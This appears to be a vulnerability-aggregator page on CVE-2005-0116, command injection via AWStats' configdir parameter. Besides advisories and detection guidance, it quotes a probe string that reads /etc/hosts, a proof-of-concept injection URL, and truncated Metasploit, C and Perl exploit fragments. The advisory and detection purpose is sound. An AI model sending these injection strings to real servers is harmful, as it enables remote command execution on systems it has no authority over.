CVE-2005-0116
published 2005-01-18CVE-2005-0116: AWStats 6.1, and other versions before 6.3, allows remote attackers to execute arbitrary commands via shell metacharacters in the configdir parameter to…
PriorityP274high7.5CVSS 2.0
AVNACLAuNCPIPAP
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
74.94%
99.4th percentile
AWStats 6.1, and other versions before 6.3, allows remote attackers to execute arbitrary commands via shell metacharacters in the configdir parameter to aswtats.pl.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| awstats | awstats | <= 6.3 | — |
| awstats | awstats | >= 0 < 6.2-1.1 | 6.2-1.1 |
| awstats | awstats | >= 0 < 6.2-1.1 | 6.2-1.1 |
| awstats | awstats | >= 0 < 6.2-1.1 | 6.2-1.1 |
| awstats | awstats | >= 0 < 6.2-1.1 | 6.2-1.1 |
| debian | awstats | < awstats 6.2-1.1 (bookworm) | awstats 6.2-1.1 (bookworm) |
Detection & IOCsextracted from sources · hover to see the quote
- →Detect shell metacharacter injection (pipe characters) in the `configdir` GET parameter of requests to awstats.pl ↗
- →Alert on GET requests to awstats.pl where the `configdir` parameter contains pipe (`|`) characters, which are the shell metacharacters used for command injection ↗
- →Monitor for the exploit check pattern `configdir=|echo;cat /etc/hosts;echo|` in HTTP request URIs as a vulnerability probe ↗
- →Monitor for the delimiter pattern `YYY` in HTTP responses to awstats.pl requests, which is used by Metasploit modules to delimit command output ↗
- →Flag HTTP GET requests to awstats.pl containing URL-encoded pipe characters (%7C) or literal pipes in the configdir parameter value ↗
- ·The vulnerable parameter is `configdir` in awstats.pl; the CGI script path may vary from the default `/cgi-bin/awstats.pl` if deployed under a user directory (e.g., `/~user/cgi-bin`) ↗
- ·Affected versions are AWStats 6.1 and 6.2 (confirmed by iDEFENSE); versions before 6.3 are broadly vulnerable — detections should target these version ranges ↗
CVSS provenance
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
osv7.5HIGH
vulncheck7.5HIGH
vendor_debian7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Debian
CVE-2005-0116: awstats - AWStats 6.1, and other versions before 6.3, allows remote attackers to execute a...
vendor_debian·2005·CVSS 7.5
CVE-2005-0116 [HIGH] CVE-2005-0116: awstats - AWStats 6.1, and other versions before 6.3, allows remote attackers to execute a...
AWStats 6.1, and other versions before 6.3, allows remote attackers to execute arbitrary commands via shell metacharacters in the configdir parameter to aswtats.pl.
Scope: local
bookworm: resolved (fixed in 6.2-1.1)
bullseye: resolved (fixed in 6.2-1.1)
forky: resolved (fixed in 6.2-1.1)
sid: resolved (fixed in 6.2-1.1)
trixie: resolved (fixed in 6.2-1.1)
GHSA
GHSA-3vg9-7c42-3mxf: AWStats 6
ghsa_unreviewed·2022-05-01
CVE-2005-0116 [HIGH] CWE-20 GHSA-3vg9-7c42-3mxf: AWStats 6
AWStats 6.1, and other versions before 6.3, allows remote attackers to execute arbitrary commands via shell metacharacters in the configdir parameter to aswtats.pl.
OSV
CVE-2005-0116: AWStats 6
osv·2005-01-18·CVSS 7.5
CVE-2005-0116 [HIGH] CVE-2005-0116: AWStats 6
AWStats 6.1, and other versions before 6.3, allows remote attackers to execute arbitrary commands via shell metacharacters in the configdir parameter to aswtats.pl.
VulnCheck
awstats awstats Improper Input Validation
vulncheck·2005·CVSS 7.5
CVE-2005-0116 [HIGH] awstats awstats Improper Input Validation
awstats awstats Improper Input Validation
AWStats 6.1, and other versions before 6.3, allows remote attackers to execute arbitrary commands via shell metacharacters in the configdir parameter to aswtats.pl.
Affected: awstats awstats
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://www.researchgate.net/publication/348602660_An_analysis_of_the_use_of_CVEs_by_IoT_malware
No detection rules found.
Exploit-DB
AWStats 6.1 < 6.2 - 'configdir' Remote Command Execution (Metasploit)
exploitdb·2009-12-26
CVE-2005-0116 AWStats 6.1 < 6.2 - 'configdir' Remote Command Execution (Metasploit)
AWStats 6.1 'AWStats configdir Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
are vulnerable.
},
'Author' => [ 'Matteo Cantoni ', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 7970 $',
'References' =>
[
['CVE', '2005-0116'],
['OSVDB', '13002'],
['BID', '12298'],
['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 15 2005'
Exploit-DB
AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution
exploitdb·2005-01-25
CVE-2005-0116 AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution
AWStats 6.0
http://localhost/cgi-bin/awstats.pl?configdir=%20|%20/usr/bin/w%20|%20
Error: LogFile parameter is not defined in config/domain file
Setup (' | /usr/bin/w | /awstats.localhost.conf' file, web server or permissions) may be wrong.
Check config file, permissions and AWStats documentation (in 'docs' directory).
#include
#include
#include
//#include
#include
#include
void usage(char *pname)
{
printf("# AWStats exploit by Thunder, [email protected]\n"
"# Usage: %s -h -i [-s Script] [-p Path] [-o Port] [-c Commands] [-u]\n"
"\t-h : target host name, default is `localhost`\n"
"\t-i : target IP (to wich host name resolvs)\n"
"\t-s : script name, default is `awstats.pl`\n"
"\t-p : script path, default is `/cgi-bin`\n"
"\t-o : specify port to connect to, default is `80`\n"
"\t-c : s
Exploit-DB
AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution
exploitdb·2005-01-25
CVE-2005-0116 AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution
AWStats 6.0 perl ./GHCaws.pl www.server.net /cgi-bin/awredir.pl \"uname -a\"
#################################################################
";
$bug_param = 'configdir';
$id_start = 'b_exp';
$id_exit = 'e_exp';
$id_print = 0;
$http_head = "\n\n";
sub Print_Report {
$str = $_[0];
if ($str =~ m/$id_exit/i) {
exit;
}
if ($str =~ m/$id_start/i) {
$str =~ s/$id_start//ig;
$id_print = 1;
}
if ($id_print == 1) {
print "$str";
}
}
sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET $dir".'?'.$bug_param.'='."$expl HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
while ($report = ) {
&Print_Report("$report");
}
}
print "$banner";
if
Exploit-DB
AWStats 6.2 < 6.1 - configdir Command Injection (Metasploit)
exploitdb·2005-01-15
CVE-2005-0116 AWStats 6.2 < 6.1 - configdir Command Injection (Metasploit)
AWStats 6.2 'AWStats configdir Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in the
AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
are vulnerable.
},
'Author' => [ 'Matteo Cantoni ', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2005-0116'],
['OSVDB', '13002'],
['BID', '12298'],
['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 15 2005',
'Defa
Metasploit
AWStats configdir Remote Command Execution
metasploit
AWStats configdir Remote Command Execution
AWStats configdir Remote Command Execution
This module exploits an arbitrary command execution vulnerability in the AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2 are vulnerable.
Unit42
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
blogs_unit42·2019-12-13
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
Threat Research Center
Threat Research
Malware
## Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
Ruchna Nigam
Published: December 13, 2019
Malware
Threat Research
Vulnerabilities
Echobot
IoT
IoT Vulnerability
Mirai
Mirai variant
## Executive Summary
Since the discovery of the Mirai variant using the binary name ECHOBOT in May 2019, it has resurfaced from time to time, using new infrastructure, and more remarkably, adding to the list of vulnerabilities it scans for, as a means to increase its attack surface with each evolution.
Unlike other Mirai variants, this particular variant stands out for the sheer number of exploits it incorporates, with the latest version having a total of 71 unique exploits, 13 of which haven’t been seen exploite
Unit42
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
blogs_unit42·2019-12-13
Mirai Variant ECHOBOT Resurfaces with 13 Previously Unexploited Vulnerabilities
## Executive Summary
Since the discovery of the Mirai variant using the binary name ECHOBOT in May 2019, it has resurfaced from time to time, using new infrastructure, and more remarkably, adding to the list of vulnerabilities it scans for, as a means to increase its attack surface with each evolution.
Unlike other Mirai variants, this particular variant stands out for the sheer number of exploits it incorporates, with the latest version having a total of 71 unique exploits, 13 of which haven’t been seen exploited in the wild until now, ranging from extremely old CVEs from as long back as 2003, to recent vulnerabilities made public as recently as early December 2019. Based on this seemingly odd choice, one could risk a guess that the attackers could potentially be aiming for the sweet sp
http://awstats.sourceforge.net/docs/awstats_changelog.txthttp://packetstormsecurity.org/0501-exploits/AWStatsVulnAnalysis.pdfhttp://secunia.com/advisories/13893/http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities&flashstatus=falsehttp://www.kb.cert.org/vuls/id/272296http://www.osvdb.org/13002http://www.securityfocus.com/bid/12298http://awstats.sourceforge.net/docs/awstats_changelog.txthttp://packetstormsecurity.org/0501-exploits/AWStatsVulnAnalysis.pdfhttp://secunia.com/advisories/13893/http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities&flashstatus=falsehttp://www.kb.cert.org/vuls/id/272296http://www.osvdb.org/13002http://www.securityfocus.com/bid/12298
2005-01-18
Published
Exploited in the wild